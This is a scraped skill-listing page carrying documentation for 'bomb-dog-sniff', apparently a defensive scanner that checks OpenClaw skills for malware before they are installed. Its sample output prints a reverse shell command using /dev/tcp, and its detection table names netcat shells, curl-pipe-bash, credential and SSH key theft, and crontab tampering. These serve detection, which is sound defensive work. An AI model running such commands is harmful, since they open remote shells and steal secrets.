[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M75MYBEJWCS7B3W7PTTW7TGC":3,"skill-same:01M75MYBEJWCS7B3W7PTTW7TGC":51},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":28,"commitSha":29,"skillDirectory":30,"forksCount":31,"repositoryHtmlUrl":32,"repositoryHomepageUrl":6,"ownerHtmlUrl":33,"ownerBlogUrl":34,"ownerDescription":35,"updatedAt":36,"install":37,"resources":50},"01M75MYBEJWCS7B3W7PTTW7TGC","bomb-dog-sniff",null,"Security-first skill management for OpenClaw - like a bomb-sniffing dog for skills.\nSniffs out malicious payloads (crypto stealers, keyloggers, reverse shells) before installation.\nQuarantine → Scan → Install only the safe ones.","javimosch\u002Fopen-claw-skills","javimosch","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F12900508?v=4","01M6D3F2AS6PV75ET9PZ1QGP8J","Javier Leandro Arancibia","01M75B8NCTAJG9WH5YNZH7C3D8",0,"MIT","https:\u002F\u002Fgithub.com\u002Fjavimosch\u002Fopen-claw-skills\u002Fblob\u002Fmain\u002Fskills\u002Flvcidpsyche\u002Fskill-bomb-dog-sniff\u002FSKILL.md",[],[],"2026-11-12 13:55:43",false,"---\nname: bomb-dog-sniff\nversion: 1.2.0\ndescription: |\n  Security-first skill management for OpenClaw - like a bomb-sniffing dog for skills.\n  Sniffs out malicious payloads (crypto stealers, keyloggers, reverse shells) before installation.\n  Quarantine → Scan → Install only the safe ones.\nauthor: OpenClaw Security Team\nhomepage: https:\u002F\u002Fgithub.com\u002Fopenclaw\u002Fskills\u002Fbomb-dog-sniff\n---\n\n# bomb-dog-sniff v1.2.0 🐕\n\n**Like a bomb-sniffing dog for OpenClaw skills**\n\nSniff out malicious skills before they explode in your system. Quarantine → Scan → Install only the safe ones.\n\n## What's New in v1.2.0\n\n### Security Hardening\n- **Fixed command injection vulnerabilities** in download functions\n- **Added path traversal protection** - Sanitizes all path inputs\n- **Secure quarantine** - Randomized directory names with restricted permissions\n- **Binary file detection** - Skips binary files to avoid false positives\n- **File size limits** - Prevents DoS via huge files\n- **ReDoS protection** - Limits regex processing on long lines\n\n### Detection Improvements\n- **Smart false positive reduction** - Better context-aware pattern matching\n- **Entropy analysis** - Detects encoded\u002Fencrypted payloads\n- **Test file awareness** - Reduces severity for findings in test files\n- **Confidence scoring** - Each finding has confidence level (high\u002Fmedium\u002Flow)\n- **13 detection categories** - Added supply chain, prototype pollution, and malicious script detection\n\n### New Patterns\n- Supply chain attack indicators (typosquatting, dynamic requires)\n- Prototype pollution vulnerabilities\n- Malicious npm\u002Fyarn scripts\n- Browser credential theft\n- SSH key theft\n- Systemd persistence mechanisms\n\n## Quick Start\n\n```bash\n# Sniff out threats before installing\nopenclaw skill bomb-dog-sniff scan .\u002Fdownloaded-skill\n\n# Safe install from clawhub (auto-downloads, sniffs, installs if clean)\nopenclaw skill bomb-dog-sniff safe-install cool-skill\n\n# Audit an already-installed skill\nopenclaw skill bomb-dog-sniff audit bird\n\n# Batch scan multiple skills\nopenclaw skill bomb-dog-sniff batch skills-to-audit.txt\n```\n\n## Commands\n\n### scan\n\nScan a skill directory for malicious patterns.\n\n```bash\nopenclaw skill bomb-dog-sniff scan \u003Cpath> [options]\n\nOptions:\n  -j, --json          Output JSON only\n  -v, --verbose       Show detailed findings\n  -t, --threshold N   Set risk threshold (default: 40)\n  -h, --help          Show help\n```\n\n**Example:**\n```bash\nopenclaw skill bomb-dog-sniff scan .\u002Funtrusted-skill\nopenclaw skill bomb-dog-sniff scan -j .\u002Funtrusted-skill > report.json\n```\n\n**Output:**\n```\n🔍 Bomb-Dog-Sniff Security Scanner v1.2.0\nTarget: \u002Fhome\u002Fuser\u002Fskills\u002Funtrusted-skill\n\n🔴 CRITICAL (2)\n──────────────────────────────────────────────────\n  crypto_harvester: scripts\u002Fwallet.js:23\n    Crypto wallet private key harvesting detected\n    Code: const privateKey = \"a1b2c3...\"\n    Confidence: high\n\n  reverse_shell: scripts\u002Fbackdoor.sh:5\n    Reverse shell or remote code execution detected\n    Code: bash -i >& \u002Fdev\u002Ftcp\u002F192.168.1.100\u002F4444\n    Confidence: high\n\n🟠 HIGH (1)\n──────────────────────────────────────────────────\n  pipe_bash: install.sh:12\n    Dangerous curl | bash pattern detected\n    Confidence: high\n\n═══════════════════════════════════════════════════\nSCAN SUMMARY\n═══════════════════════════════════════════════════\n☠️ Risk Score: 75\u002F100\n   Risk Level: MALICIOUS\n   Duration: 125ms\n   Files Scanned: 12\u002F15\n   Files Skipped: 3 (binary\u002Fempty\u002Flarge)\n   Findings: 3\n\n   Severity Breakdown:\n     🔴 CRITICAL: 2\n     🟠 HIGH: 1\n\n📋 Recommendation:\n   MALICIOUS - Do not install. Found 3 critical security issues.\n\nScan ID: bds-20260208-a1b2c3d4\n```\n\n### safe-install\n\nDownload from clawhub\u002FGitHub, scan, and install only if safe.\n\n```bash\nopenclaw skill bomb-dog-sniff safe-install \u003Csource> [options]\n\nSource:\n  - ClawHub skill name: bird\n  - GitHub URL: https:\u002F\u002Fgithub.com\u002Fuser\u002Fskill\n  - Local path: .\u002Flocal-skill\n\nOptions:\n  --threshold N   Set risk threshold (default: 39)\n  --dry-run       Scan only, don't install\n  --verbose       Show all findings\n```\n\n**Example:**\n```bash\n# Install with default threshold (39)\nopenclaw skill bomb-dog-sniff safe-install bird\n\n# Stricter threshold\nopenclaw skill bomb-dog-sniff safe-install cool-skill --threshold 20\n\n# Scan only (dry run)\nopenclaw skill bomb-dog-sniff safe-install unknown-skill --dry-run\n\n# GitHub source\nopenclaw skill bomb-dog-sniff safe-install https:\u002F\u002Fgithub.com\u002Fuser\u002Fcool-skill\n```\n\n### audit\n\nAudit an already-installed skill.\n\n```bash\nopenclaw skill bomb-dog-sniff audit \u003Cskill-name> [options]\n```\n\n**Example:**\n```bash\nopenclaw skill bomb-dog-sniff audit notion\n```\n\n### batch\n\nScan multiple skills from a list file.\n\n```bash\nopenclaw skill bomb-dog-sniff batch \u003Clist-file>\n```\n\n**Example list file (skills.txt):**\n```\n# My installed skills to audit\nbird\nnotion\ngog\nslack\n.\u002Fcustom-skill\n\n# Commented lines are ignored\n# old-skill\n```\n\n**Run:**\n```bash\nopenclaw skill bomb-dog-sniff batch skills.txt\n```\n\n## Detection Categories\n\nbomb-dog-sniff scans for these threat categories:\n\n| Category | Severity | Examples Detected |\n|----------|----------|-------------------|\n| **crypto_harvester** | CRITICAL | Private key extraction, wallet exports, mnemonic theft |\n| **credential_theft** | CRITICAL | Environment variable exfiltration, config file theft, SSH key theft |\n| **reverse_shell** | CRITICAL | Netcat shells, `\u002Fdev\u002Ftcp\u002F` redirects, socket-based shells, eval of remote code |\n| **keylogger** | CRITICAL | Keyboard capture with exfiltration, clipboard theft, password field monitoring |\n| **encoded_payload** | HIGH | Base64 execution chains, hex escapes with eval context, obfuscated code |\n| **suspicious_api** | HIGH | Pastebin\u002Fngrok\u002Fwebhook destinations, dynamic URL construction with secrets |\n| **pipe_bash** | HIGH | `curl \\| bash`, `wget \\| sh` patterns |\n| **deposit_scam** | HIGH | \"Send ETH to 0x...\", payment prompts in unexpected contexts |\n| **supply_chain** | HIGH | Typosquatting, dynamic requires, suspicious postinstall scripts |\n| **prototype_pollution** | HIGH | Dangerous object merging, `__proto__` manipulation |\n| **malicious_script** | CRITICAL | Pre\u002Fpostinstall doing network\u002Fexec operations, modifying other packages |\n| **network_exfil** | MEDIUM | File reading followed by network transmission |\n| **file_tamper** | CRITICAL | `.bashrc` modification, crontab editing, SSH authorized_keys manipulation |\n\n## Risk Scoring\n\n```\n0-19   SAFE        ✅ Install freely\n20-39  LOW         ⚠️  Review recommended\n40-69  SUSPICIOUS  🚫 Blocked by default\n70-100 MALICIOUS   ☠️  Never install\n```\n\nEach finding adds to the score:\n- CRITICAL: +25 points (× confidence multiplier)\n- HIGH: +15 points (× confidence multiplier)\n- MEDIUM: +5 points (× confidence multiplier)\n\nConfidence multipliers:\n- High confidence: 1.0×\n- Medium confidence: 0.75×\n- Low confidence: 0.5×\n\nScore caps at 100.\n\n## How It Works\n\n### Safe Install Process\n\n```\n1. QUARANTINE\n   └── Skill downloaded to \u002Ftmp\u002Fbds-q-\u003Crandom>\u002F\n   └── Randomized, non-predictable directory name\n   └── Restricted permissions (0o700)\n   \n2. SCAN\n   ├── Check all files against detection patterns\n   ├── Skip binary files, empty files, files >10MB\n   ├── Calculate entropy for encoded payload detection\n   ├── Apply confidence multipliers\n   └── Generate findings report\n   \n3. DECISION\n   ├── Risk > threshold? → BLOCK & DELETE\n   └── Risk ≤ threshold? → PROCEED\n   \n4. INSTALL (if passed)\n   └── Move from quarantine to skills directory\n   └── Backup existing installation (max 5 backups)\n   \n5. CLEANUP\n   └── Securely remove quarantine directory\n```\n\n### Scanning Details\n\n- **Static analysis only** - No code execution\n- **Multi-pattern matching** - 60+ detection patterns\n- **Line-level reporting** - Exact file:line for each finding\n- **False positive reduction** - Context-aware pattern matching\n- **Binary detection** - Automatically skips binary files\n- **Symlink loop protection** - Tracks visited inodes\n- **Depth limiting** - Max 20 directory levels\n- **Test file handling** - Reduces severity for test files\n\n## Configuration\n\n### Environment Variables\n\n```bash\n# Set custom skills directory\nexport OPENCLAW_SKILLS_DIR=\u002Fpath\u002Fto\u002Fskills\n\n# Set default risk threshold\nexport BOMB_DOG_THRESHOLD=25\n```\n\n### Per-Skill Configuration\n\nAdd to your skill's `package.json`:\n\n```json\n{\n  \"bomb-dog-sniff\": {\n    \"riskThreshold\": 25,\n    \"excludedCategories\": [\"network_exfil\"]\n  }\n}\n```\n\n## CI\u002FCD Integration\n\nAdd to your CI pipeline:\n\n```yaml\n# .github\u002Fworkflows\u002Fskill-security.yml\nname: Skill Security Scan\n\non: [push, pull_request]\n\njobs:\n  scan:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\u002Fcheckout@v3\n      \n      - name: Scan skills\n        run: |\n          for skill in skills\u002F*\u002F; do\n            echo \"Scanning $skill\"\n            node skills\u002Fbomb-dog-sniff\u002Fscan.js \"$skill\" || exit 1\n          done\n```\n\nExit codes:\n- `0` - Safe (score below threshold)\n- `1` - Error\u002Finvalid arguments\n- `2` - Risky (score ≥ threshold)\n\n## Programmatic API\n\n```javascript\nconst { scanSkill } = require('.\u002Fscan');\nconst { safeDownload } = require('.\u002Fsafe-download');\n\n\u002F\u002F Scan a skill\nconst report = scanSkill('.\u002Fpath\u002Fto\u002Fskill', { verbose: true });\nconsole.log(`Risk score: ${report.riskScore}`);\nconsole.log(`Findings: ${report.findings.length}`);\n\n\u002F\u002F Safe download and install\nconst result = await safeDownload('cool-skill', {\n  autoInstall: true,\n  riskThreshold: 30,\n});\n\nif (!result.success) {\n  console.error('Installation blocked:', result.reason);\n}\n```\n\n## Security Limits\n\nTo prevent DoS and ensure scanner security:\n\n| Limit | Value | Purpose |\n|-------|-------|---------|\n| Max file size | 10MB | Prevent memory exhaustion |\n| Max line length | 10KB | Prevent ReDoS attacks |\n| Max files per scan | 10,000 | Prevent resource exhaustion |\n| Max findings per file | 100 | Prevent output flooding |\n| Max total findings | 500 | Prevent result flooding |\n| Max directory depth | 20 | Prevent infinite recursion |\n| Download timeout | 2 minutes | Prevent hanging downloads |\n| Max download size | 50MB | Prevent disk exhaustion |\n\n## False Positives\n\nIf legitimate code triggers a warning:\n\n1. **Check confidence level** - Low confidence findings are more likely to be false positives\n2. **Review the excerpt** - Look at the actual code flagged\n3. **Test files are noted** - Findings in `*.test.js` or `__tests__\u002F` have reduced severity\n4. **Comments are generally skipped** - Unless they contain suspicious keywords\n\nTo report false positives, please include:\n- The file content that triggered the false positive\n- The pattern category that matched\n- Expected behavior\n\n## Best Practices\n\n1. **Always scan before installing** unknown skills\n2. **Use `--dry-run`** first for untrusted sources\n3. **Set lower threshold** (`--threshold 20`) for critical systems\n4. **Audit regularly** - Rescan installed skills periodically\n5. **Review CRITICAL findings** - Never ignore critical severity warnings\n6. **Check confidence levels** - High confidence = higher priority\n\n## Files\n\n- `SKILL.md` - This documentation\n- `scan.js` - Core scanner engine\n- `patterns.js` - Detection pattern definitions\n- `safe-download.js` - Safe download & install logic\n- `scripts\u002Fsniff.sh` - CLI wrapper\n- `package.json` - Package configuration\n- `QUICKSTART.md` - Quick reference guide\n\n## Security Notes\n\n⚠️ **Limitations:**\n- Static analysis only (some obfuscation may evade detection)\n- Pattern-based (novel attacks may not be detected)\n- Not a replacement for manual code review on critical systems\n- Cannot detect runtime-only malicious behavior\n\n✅ **Recommendations:**\n- Use bomb-dog-sniff as first line of defense\n- Review code manually for high-security environments\n- Keep patterns.js updated with new threat signatures\n- Report false positives and missed detections\n- Combine with other security tools for defense in depth\n\n## Changelog\n\n### v1.2.0 (Hardened Edition)\n- **SECURITY**: Fixed command injection vulnerabilities in safe-download.js\n- **SECURITY**: Added path traversal protection\n- **SECURITY**: Secure randomized quarantine directories\n- **FEATURE**: Binary file detection and skipping\n- **FEATURE**: File size limits (10MB per file, 50MB download)\n- **FEATURE**: Entropy analysis for encoded payload detection\n- **FEATURE**: Confidence scoring for all findings\n- **FEATURE**: Test file awareness with severity reduction\n- **FEATURE**: 3 new detection categories (supply_chain, prototype_pollution, malicious_script)\n- **IMPROVEMENT**: Better false positive reduction with context-aware matching\n- **IMPROVEMENT**: ReDoS protection via line length limits\n- **IMPROVEMENT**: Symlink loop protection\n- **IMPROVEMENT**: Backup rotation (max 5 backups)\n\n### v1.1.0\n- Added `safe-install` command with quarantine workflow\n- Added `audit` command for installed skills\n- Added `batch` command for multiple skill scanning\n- Enhanced detection patterns (50+ signatures)\n- Added risk threshold configuration\n\n### v1.0.0\n- Initial release with basic scanning\n- 10 detection categories\n- JSON output format\n\n## License\n\nMIT - See LICENSE file\n\n---\n\n**Stay safe. Scan everything. Trust verified skills only.** 🦞🐕\n","# bomb-dog-sniff v1.2.0 🐕\n\n**Like a bomb-sniffing dog for OpenClaw skills**\n\nSniff out malicious skills before they explode in your system. Quarantine → Scan → Install only the safe ones.\n\n## What's New in v1.2.0\n\n### Security Hardening\n- **Fixed command injection vulnerabilities** in download functions\n- **Added path traversal protection** - Sanitizes all path inputs\n- **Secure quarantine** - Randomized directory names with restricted permissions\n- **Binary file detection** - Skips binary files to avoid false positives\n- **File size limits** - Prevents DoS via huge files\n- **ReDoS protection** - Limits regex processing on long lines\n\n### Detection Improvements\n- **Smart false positive reduction** - Better context-aware pattern matching\n- **Entropy analysis** - Detects encoded\u002Fencrypted payloads\n- **Test file awareness** - Reduces severity for findings in test files\n- **Confidence scoring** - Each finding has confidence level (high\u002Fmedium\u002Flow)\n- **13 detection categories** - Added supply chain, prototype pollution, and malicious script detection\n\n### New Patterns\n- Supply chain attack indicators (typosquatting, dynamic requires)\n- Prototype pollution vulnerabilities\n- Malicious npm\u002Fyarn scripts\n- Browser credential theft\n- SSH key theft\n- Systemd persistence mechanisms\n\n## Quick Start\n\n```bash\n# Sniff out threats before installing\nopenclaw skill bomb-dog-sniff scan .\u002Fdownloaded-skill\n\n# Safe install from clawhub (auto-downloads, sniffs, installs if clean)\nopenclaw skill bomb-dog-sniff safe-install cool-skill\n\n# Audit an already-installed skill\nopenclaw skill bomb-dog-sniff audit bird\n\n# Batch scan multiple skills\nopenclaw skill bomb-dog-sniff batch skills-to-audit.txt\n```\n\n## Commands\n\n### scan\n\nScan a skill directory for malicious patterns.\n\n```bash\nopenclaw skill bomb-dog-sniff scan \u003Cpath> [options]\n\nOptions:\n  -j, --json          Output JSON only\n  -v, --verbose       Show detailed findings\n  -t, --threshold N   Set risk threshold (default: 40)\n  -h, --help          Show help\n```\n\n**Example:**\n```bash\nopenclaw skill bomb-dog-sniff scan .\u002Funtrusted-skill\nopenclaw skill bomb-dog-sniff scan -j .\u002Funtrusted-skill > report.json\n```\n\n**Output:**\n```\n🔍 Bomb-Dog-Sniff Security Scanner v1.2.0\nTarget: \u002Fhome\u002Fuser\u002Fskills\u002Funtrusted-skill\n\n🔴 CRITICAL (2)\n──────────────────────────────────────────────────\n  crypto_harvester: scripts\u002Fwallet.js:23\n    Crypto wallet private key harvesting detected\n    Code: const privateKey = \"a1b2c3...\"\n    Confidence: high\n\n  reverse_shell: scripts\u002Fbackdoor.sh:5\n    Reverse shell or remote code execution detected\n    Code: bash -i >& \u002Fdev\u002Ftcp\u002F192.168.1.100\u002F4444\n    Confidence: high\n\n🟠 HIGH (1)\n──────────────────────────────────────────────────\n  pipe_bash: install.sh:12\n    Dangerous curl | bash pattern detected\n    Confidence: high\n\n═══════════════════════════════════════════════════\nSCAN SUMMARY\n═══════════════════════════════════════════════════\n☠️ Risk Score: 75\u002F100\n   Risk Level: MALICIOUS\n   Duration: 125ms\n   Files Scanned: 12\u002F15\n   Files Skipped: 3 (binary\u002Fempty\u002Flarge)\n   Findings: 3\n\n   Severity Breakdown:\n     🔴 CRITICAL: 2\n     🟠 HIGH: 1\n\n📋 Recommendation:\n   MALICIOUS - Do not install. Found 3 critical security issues.\n\nScan ID: bds-20260208-a1b2c3d4\n```\n\n### safe-install\n\nDownload from clawhub\u002FGitHub, scan, and install only if safe.\n\n```bash\nopenclaw skill bomb-dog-sniff safe-install \u003Csource> [options]\n\nSource:\n  - ClawHub skill name: bird\n  - GitHub URL: https:\u002F\u002Fgithub.com\u002Fuser\u002Fskill\n  - Local path: .\u002Flocal-skill\n\nOptions:\n  --threshold N   Set risk threshold (default: 39)\n  --dry-run       Scan only, don't install\n  --verbose       Show all findings\n```\n\n**Example:**\n```bash\n# Install with default threshold (39)\nopenclaw skill bomb-dog-sniff safe-install bird\n\n# Stricter threshold\nopenclaw skill bomb-dog-sniff safe-install cool-skill --threshold 20\n\n# Scan only (dry run)\nopenclaw skill bomb-dog-sniff safe-install unknown-skill --dry-run\n\n# GitHub source\nopenclaw skill bomb-dog-sniff safe-install https:\u002F\u002Fgithub.com\u002Fuser\u002Fcool-skill\n```\n\n### audit\n\nAudit an already-installed skill.\n\n```bash\nopenclaw skill bomb-dog-sniff audit \u003Cskill-name> [options]\n```\n\n**Example:**\n```bash\nopenclaw skill bomb-dog-sniff audit notion\n```\n\n### batch\n\nScan multiple skills from a list file.\n\n```bash\nopenclaw skill bomb-dog-sniff batch \u003Clist-file>\n```\n\n**Example list file (skills.txt):**\n```\n# My installed skills to audit\nbird\nnotion\ngog\nslack\n.\u002Fcustom-skill\n\n# Commented lines are ignored\n# old-skill\n```\n\n**Run:**\n```bash\nopenclaw skill bomb-dog-sniff batch skills.txt\n```\n\n## Detection Categories\n\nbomb-dog-sniff scans for these threat categories:\n\n| Category | Severity | Examples Detected |\n|----------|----------|-------------------|\n| **crypto_harvester** | CRITICAL | Private key extraction, wallet exports, mnemonic theft |\n| **credential_theft** | CRITICAL | Environment variable exfiltration, config file theft, SSH key theft |\n| **reverse_shell** | CRITICAL | Netcat shells, `\u002Fdev\u002Ftcp\u002F` redirects, socket-based shells, eval of remote code |\n| **keylogger** | CRITICAL | Keyboard capture with exfiltration, clipboard theft, password field monitoring |\n| **encoded_payload** | HIGH | Base64 execution chains, hex escapes with eval context, obfuscated code |\n| **suspicious_api** | HIGH | Pastebin\u002Fngrok\u002Fwebhook destinations, dynamic URL construction with secrets |\n| **pipe_bash** | HIGH | `curl \\| bash`, `wget \\| sh` patterns |\n| **deposit_scam** | HIGH | \"Send ETH to 0x...\", payment prompts in unexpected contexts |\n| **supply_chain** | HIGH | Typosquatting, dynamic requires, suspicious postinstall scripts |\n| **prototype_pollution** | HIGH | Dangerous object merging, `__proto__` manipulation |\n| **malicious_script** | CRITICAL | Pre\u002Fpostinstall doing network\u002Fexec operations, modifying other packages |\n| **network_exfil** | MEDIUM | File reading followed by network transmission |\n| **file_tamper** | CRITICAL | `.bashrc` modification, crontab editing, SSH authorized_keys manipulation |\n\n## Risk Scoring\n\n```\n0-19   SAFE        ✅ Install freely\n20-39  LOW         ⚠️  Review recommended\n40-69  SUSPICIOUS  🚫 Blocked by default\n70-100 MALICIOUS   ☠️  Never install\n```\n\nEach finding adds to the score:\n- CRITICAL: +25 points (× confidence multiplier)\n- HIGH: +15 points (× confidence multiplier)\n- MEDIUM: +5 points (× confidence multiplier)\n\nConfidence multipliers:\n- High confidence: 1.0×\n- Medium confidence: 0.75×\n- Low confidence: 0.5×\n\nScore caps at 100.\n\n## How It Works\n\n### Safe Install Process\n\n```\n1. QUARANTINE\n   └── Skill downloaded to \u002Ftmp\u002Fbds-q-\u003Crandom>\u002F\n   └── Randomized, non-predictable directory name\n   └── Restricted permissions (0o700)\n   \n2. SCAN\n   ├── Check all files against detection patterns\n   ├── Skip binary files, empty files, files >10MB\n   ├── Calculate entropy for encoded payload detection\n   ├── Apply confidence multipliers\n   └── Generate findings report\n   \n3. DECISION\n   ├── Risk > threshold? → BLOCK & DELETE\n   └── Risk ≤ threshold? → PROCEED\n   \n4. INSTALL (if passed)\n   └── Move from quarantine to skills directory\n   └── Backup existing installation (max 5 backups)\n   \n5. CLEANUP\n   └── Securely remove quarantine directory\n```\n\n### Scanning Details\n\n- **Static analysis only** - No code execution\n- **Multi-pattern matching** - 60+ detection patterns\n- **Line-level reporting** - Exact file:line for each finding\n- **False positive reduction** - Context-aware pattern matching\n- **Binary detection** - Automatically skips binary files\n- **Symlink loop protection** - Tracks visited inodes\n- **Depth limiting** - Max 20 directory levels\n- **Test file handling** - Reduces severity for test files\n\n## Configuration\n\n### Environment Variables\n\n```bash\n# Set custom skills directory\nexport OPENCLAW_SKILLS_DIR=\u002Fpath\u002Fto\u002Fskills\n\n# Set default risk threshold\nexport BOMB_DOG_THRESHOLD=25\n```\n\n### Per-Skill Configuration\n\nAdd to your skill's `package.json`:\n\n```json\n{\n  \"bomb-dog-sniff\": {\n    \"riskThreshold\": 25,\n    \"excludedCategories\": [\"network_exfil\"]\n  }\n}\n```\n\n## CI\u002FCD Integration\n\nAdd to your CI pipeline:\n\n```yaml\n# .github\u002Fworkflows\u002Fskill-security.yml\nname: Skill Security Scan\n\non: [push, pull_request]\n\njobs:\n  scan:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\u002Fcheckout@v3\n      \n      - name: Scan skills\n        run: |\n          for skill in skills\u002F*\u002F; do\n            echo \"Scanning $skill\"\n            node skills\u002Fbomb-dog-sniff\u002Fscan.js \"$skill\" || exit 1\n          done\n```\n\nExit codes:\n- `0` - Safe (score below threshold)\n- `1` - Error\u002Finvalid arguments\n- `2` - Risky (score ≥ threshold)\n\n## Programmatic API\n\n```javascript\nconst { scanSkill } = require('.\u002Fscan');\nconst { safeDownload } = require('.\u002Fsafe-download');\n\n\u002F\u002F Scan a skill\nconst report = scanSkill('.\u002Fpath\u002Fto\u002Fskill', { verbose: true });\nconsole.log(`Risk score: ${report.riskScore}`);\nconsole.log(`Findings: ${report.findings.length}`);\n\n\u002F\u002F Safe download and install\nconst result = await safeDownload('cool-skill', {\n  autoInstall: true,\n  riskThreshold: 30,\n});\n\nif (!result.success) {\n  console.error('Installation blocked:', result.reason);\n}\n```\n\n## Security Limits\n\nTo prevent DoS and ensure scanner security:\n\n| Limit | Value | Purpose |\n|-------|-------|---------|\n| Max file size | 10MB | Prevent memory exhaustion |\n| Max line length | 10KB | Prevent ReDoS attacks |\n| Max files per scan | 10,000 | Prevent resource exhaustion |\n| Max findings per file | 100 | Prevent output flooding |\n| Max total findings | 500 | Prevent result flooding |\n| Max directory depth | 20 | Prevent infinite recursion |\n| Download timeout | 2 minutes | Prevent hanging downloads |\n| Max download size | 50MB | Prevent disk exhaustion |\n\n## False Positives\n\nIf legitimate code triggers a warning:\n\n1. **Check confidence level** - Low confidence findings are more likely to be false positives\n2. **Review the excerpt** - Look at the actual code flagged\n3. **Test files are noted** - Findings in `*.test.js` or `__tests__\u002F` have reduced severity\n4. **Comments are generally skipped** - Unless they contain suspicious keywords\n\nTo report false positives, please include:\n- The file content that triggered the false positive\n- The pattern category that matched\n- Expected behavior\n\n## Best Practices\n\n1. **Always scan before installing** unknown skills\n2. **Use `--dry-run`** first for untrusted sources\n3. **Set lower threshold** (`--threshold 20`) for critical systems\n4. **Audit regularly** - Rescan installed skills periodically\n5. **Review CRITICAL findings** - Never ignore critical severity warnings\n6. **Check confidence levels** - High confidence = higher priority\n\n## Files\n\n- `SKILL.md` - This documentation\n- `scan.js` - Core scanner engine\n- `patterns.js` - Detection pattern definitions\n- `safe-download.js` - Safe download & install logic\n- `scripts\u002Fsniff.sh` - CLI wrapper\n- `package.json` - Package configuration\n- `QUICKSTART.md` - Quick reference guide\n\n## Security Notes\n\n⚠️ **Limitations:**\n- Static analysis only (some obfuscation may evade detection)\n- Pattern-based (novel attacks may not be detected)\n- Not a replacement for manual code review on critical systems\n- Cannot detect runtime-only malicious behavior\n\n✅ **Recommendations:**\n- Use bomb-dog-sniff as first line of defense\n- Review code manually for high-security environments\n- Keep patterns.js updated with new threat signatures\n- Report false positives and missed detections\n- Combine with other security tools for defense in depth\n\n## Changelog\n\n### v1.2.0 (Hardened Edition)\n- **SECURITY**: Fixed command injection vulnerabilities in safe-download.js\n- **SECURITY**: Added path traversal protection\n- **SECURITY**: Secure randomized quarantine directories\n- **FEATURE**: Binary file detection and skipping\n- **FEATURE**: File size limits (10MB per file, 50MB download)\n- **FEATURE**: Entropy analysis for encoded payload detection\n- **FEATURE**: Confidence scoring for all findings\n- **FEATURE**: Test file awareness with severity reduction\n- **FEATURE**: 3 new detection categories (supply_chain, prototype_pollution, malicious_script)\n- **IMPROVEMENT**: Better false positive reduction with context-aware matching\n- **IMPROVEMENT**: ReDoS protection via line length limits\n- **IMPROVEMENT**: Symlink loop protection\n- **IMPROVEMENT**: Backup rotation (max 5 backups)\n\n### v1.1.0\n- Added `safe-install` command with quarantine workflow\n- Added `audit` command for installed skills\n- Added `batch` command for multiple skill scanning\n- Enhanced detection patterns (50+ signatures)\n- Added risk threshold configuration\n\n### v1.0.0\n- Initial release with basic scanning\n- 10 detection categories\n- JSON output format\n\n## License\n\nMIT - See LICENSE file\n\n---\n\n**Stay safe. Scan everything. Trust verified skills only.** 🦞🐕\n",{"name":5,"author":24,"version":25,"homepage":26,"description":27},"OpenClaw Security Team","1.2.0","https:\u002F\u002Fgithub.com\u002Fopenclaw\u002Fskills\u002Fbomb-dog-sniff","Security-first skill management for OpenClaw - like a bomb-sniffing dog for skills.\nSniffs out malicious payloads (crypto stealers, keyloggers, reverse shells) before installation.\nQuarantine → Scan → Install only the safe ones.\n","main","f9d3fe7cf9ac8f1ea63a0d96e98e1f510a3814db","skills\u002Flvcidpsyche\u002Fskill-bomb-dog-sniff",1,"https:\u002F\u002Fgithub.com\u002Fjavimosch\u002Fopen-claw-skills","https:\u002F\u002Fgithub.com\u002Fjavimosch","intrane.fr","Building robust, open-source infrastructure for the commons. AI-leveraged, self-hosted, built to last.","2026-06-07 03:34:58",{"source":8,"skillName":5,"commands":38,"prompt":48,"zipAvailable":49},[39,42,45],{"tool":40,"command":41},"npx","npx skills add javimosch\u002Fopen-claw-skills --skill bomb-dog-sniff",{"tool":43,"command":44},"bunx","bunx skills add javimosch\u002Fopen-claw-skills --skill bomb-dog-sniff",{"tool":46,"command":47},"pnpm","pnpm dlx skills add javimosch\u002Fopen-claw-skills --skill bomb-dog-sniff","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fjavimosch\u002Fopen-claw-skills\u002Fblob\u002Fmain\u002Fskills\u002Flvcidpsyche\u002Fskill-bomb-dog-sniff\u002FSKILL.md",true,[],[52,60,67,74,81,88],{"skillNo":53,"name":54,"nameZh":6,"description":55,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":56,"categories":57,"keywords":58,"publishedAt":59},"01M778GGXG2VQ0YF31W2MKGMQZ","crowd-prompting","A marketplace where AI agents improve prompts, system instructions, tool descriptions, and other text-based content with domain expertise from real-world operations — and earn tokens for valuable contributions.","https:\u002F\u002Fgithub.com\u002Fjavimosch\u002Fopen-claw-skills\u002Fblob\u002Fmain\u002Fskills\u002Fzzadrian\u002Fcrowd-prompting\u002FSKILL.md",[],[],"2026-11-15 14:19:17",{"skillNo":61,"name":62,"nameZh":6,"description":63,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":64,"categories":65,"keywords":66,"publishedAt":59},"01M778G7BH8SBJ9FJ6C3G7CB1K","ceaser","Interact with the Ceaser privacy protocol on Base L2 using the ceaser-mcp MCP tools. This skill uses the ceaser-mcp npm package for ALL operations -- shield, unshield, note management, and protocol queries. All ceaser tool calls use CLI subcommands (npx -y ceaser-mcp \u003Csubcommand>). Ceaser is a privacy-preserving ETH wrapper using Noir\u002FUltraHonk zero-knowledge proofs on Base L2 (chain ID 